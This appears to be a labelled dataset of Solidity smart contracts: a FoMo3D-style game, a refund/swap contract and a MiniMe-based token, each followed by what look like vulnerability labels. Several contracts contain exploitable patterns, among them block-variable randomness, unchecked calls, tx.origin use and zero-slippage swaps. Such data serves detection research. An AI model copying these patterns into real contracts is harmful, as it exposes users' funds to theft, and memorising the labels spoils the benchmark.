uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,329 |
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.8.0;
pragma solidity ^0.8.4;
contract OKLGWithdrawable is Ownable {
function withdrawTokens(address _tokenAddy, uint256 _amount)
external
onlyOwner
{
IERC20 _token = IERC20(_tokenAddy);
_amount = _amount > 0 ? _amount : _token.balanceOf(address(this));
require(_amount > 0, 'make sure there is a balance available to withdraw');
_token.transfer(owner(), _amount);
}
function withdrawETH() external onlyOwner {
payable(owner()).call{ value: address(this).balance }('');
}
}
contract AutoStablesRefund is OKLGWithdrawable {
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
address public receiver = 0xed528FC31f2575312Ec3336E0F6ec9812B534937;
address public oklg = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
IUniswapV2Router02 private router;
uint8 public rewardsPercent = 50;
address public treasury = 0xed528FC31f2575312Ec3336E0F6ec9812B534937;
uint8 public treasuryPercent = 50;
function setRewardsPercent(uint8 _p) external onlyOwner {
require(_p + treasuryPercent <= 100, 'total percent must be <= 100');
rewardsPercent = _p;
}
function setTreasury(address _t) external onlyOwner {
treasury = _t;
}
function setTreasuryPercent(uint8 _p) external onlyOwner {
require(_p + rewardsPercent <= 100, 'total percent must be <= 100');
treasuryPercent = _p;
}
constructor() {
if (block.chainid == 56) {
router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
} else if (block.chainid == 97) {
router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3);
} else if (block.chainid == 1 || block.chainid == 4) {
router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
} else if (block.chainid == 43114) {
router = IUniswapV2Router02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
} else if (block.chainid == 250) {
router = IUniswapV2Router02(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
} else {
revert();
}
}
receive() external payable {
if (treasuryPercent > 0) {
payable(treasury).call{ value: (msg.value * treasuryPercent) / 100 }('');
}
if (rewardsPercent > 0) {
this.BuyforRewards(msg.value * rewardsPercent / 100 );
}
}
function BuyforRewards(uint256 amount) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = oklg;
router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: amount
}(
0,
path,
tx.origin,
block.timestamp
);
}
function setOklg(address _oklg) external onlyOwner {
oklg = _oklg;
}
function setReceiver(address _receiver) external onlyOwner {
receiver = _receiver;
}
} | 1 | 2,853 |
pragma solidity ^0.4.18;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
constructor() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
pragma solidity ^0.4.18;
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
pragma solidity ^0.4.18;
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
require (allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
uint previousBalanceFrom = balanceOfAt(_from, block.number);
require(previousBalanceFrom >= _amount);
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
uint previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
emit Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
emit NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
emit Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
emit Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer( address(this).balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(this);
token.transfer(controller, balance);
emit ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event Transfer(address indexed _from, address indexed _to, uint256 _amount);
event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
}
contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
pragma solidity ^0.4.23;
contract PXP is MiniMeToken {
mapping (address => bool) public blacklisted;
bool public generateFinished;
constructor (address _tokenFactory)
MiniMeToken(
_tokenFactory,
0x0,
0,
"PAX Plus Token",
18,
"PXP",
false
) {
}
function init(
address founder,
address team,
address advisor,
address airdrop,
address marketing,
address ieo
) public onlyController returns (bool) {
require(founder != 0x0);
require(team != 0x0);
require(advisor != 0x0);
require(airdrop != 0x0);
require(marketing != 0x0);
require(ieo != 0x0);
super.generateTokens(founder, 10e26);
super.generateTokens(team, 10e26);
super.generateTokens(advisor, 5e26);
super.generateTokens(airdrop, 5e26);
super.generateTokens(marketing, 20e26);
super.generateTokens(ieo, 50e26);
generateFinished = true;
transfersEnabled = true;
return true;
}
function generateTokens(address _holder, uint _amount) public onlyController returns (bool) {
require(generateFinished == false);
return super.generateTokens(_holder, _amount);
}
function doTransfer(address _from, address _to, uint _amount) internal returns(bool) {
require(blacklisted[_from] == false);
return super.doTransfer(_from, _to, _amount);
}
function finishGenerating() public onlyController returns (bool) {
generateFinished = true;
return true;
}
function blacklistAccount(address tokenOwner) public onlyController returns (bool success) {
blacklisted[tokenOwner] = true;
return true;
}
function unBlacklistAccount(address tokenOwner) public onlyController returns (bool success) {
blacklisted[tokenOwner] = false;
return true;
}
function claimTokens(address _token) public onlyController {
if (_token == 0x0) {
controller.transfer( address(this).balance);
return;
}
MiniMeToken token = MiniMeToken(_token);
uint balance = token.balanceOf(address(this));
token.transfer(controller, balance);
emit ClaimedTokens(_token, controller, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
} | 1 | 2,785 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
